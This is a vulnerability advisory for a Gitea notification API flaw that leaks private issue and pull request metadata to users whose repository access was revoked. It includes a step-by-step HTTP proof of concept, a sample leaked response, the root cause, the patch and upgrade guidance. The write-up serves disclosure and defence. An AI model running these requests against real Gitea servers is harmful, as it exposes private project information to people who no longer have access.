CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
A revoked Gitea user can still read private issue and pull request titles, URLs, and live activity through old notification threads, even after losing all repository access.
The problem
Gitea's notification API applies access control to the `repository` field of a `NotificationThread` response, but not to the `subject` field. When a user's repository access is revoked, the API correctly nulls out `repository`, but returns `subject` in full, exposing issue or pull request titles, HTML and API URLs, open/closed state, and the latest comment URL.
The leak is not limited to a historical snapshot. If new comments are posted while the notification stays unread, `latest_comment_url` and `updated_at` keep updating. A revoked user can therefore watch live issue activity without any repository permission.
Proof of concept
A working proof-of-concept for CVE-2026-58419 in code.gitea.io/gitea, with the exact payload below.
# Step 1 — confirm direct repo access is gone
GET /api/v1/repos/sun/private-repo/issues/1
Authorization: token <li-token>
# → 404 Not Found
# Step 2 — enumerate notifications (get thread id)
GET /api/v1/notifications?all=true
Authorization: token <li-token>
# Step 3 — fetch the specific thread; subject leaks despite null repository
GET /api/v1/notifications/threads/14
Authorization: token <li-token>
# Leaked response:
# {
# "id": 14,
# "repository": null,
# "subject": {
# "title": "private issue title",
# "url": "http://localhost:3000/api/v1/repos/sun/private-repo/issues/1",
# "latest_comment_url": "http://localhost:3000/api/v1/repos/sun/private-repo/issues/comments/24",
# "html_url": "http://localhost:3000/sun/private-repo/issues/1",
# "state": "open"
# }
# }The root cause is an incomplete access-control check in the notification API handler. The existing fix for CVE-2026-20800 (v1.25.4) only gated the `repository` object; the `subject` object was assembled and returned unconditionally regardless of whether the caller still had read access to the underlying repo.
The patch (PR #38108, commit 9e84deb) adds a repository-access check before populating `subject`. When the caller no longer has access, the subject is redacted to null, matching the already-nulled `repository` field. This closes the asymmetric enforcement that was the root cause (CWE-200).
The fix
Upgrade to Gitea 1.26.4 (security release). Version 1.26.3 contains the notification subject redaction fix but has an unrelated regression on repository code pages; skip it and go straight to 1.26.4. No configuration changes or workarounds are available for earlier versions.
Reported by @ybsun0215.
Related research
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race
- high · 8.8CVE-2026-27775CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission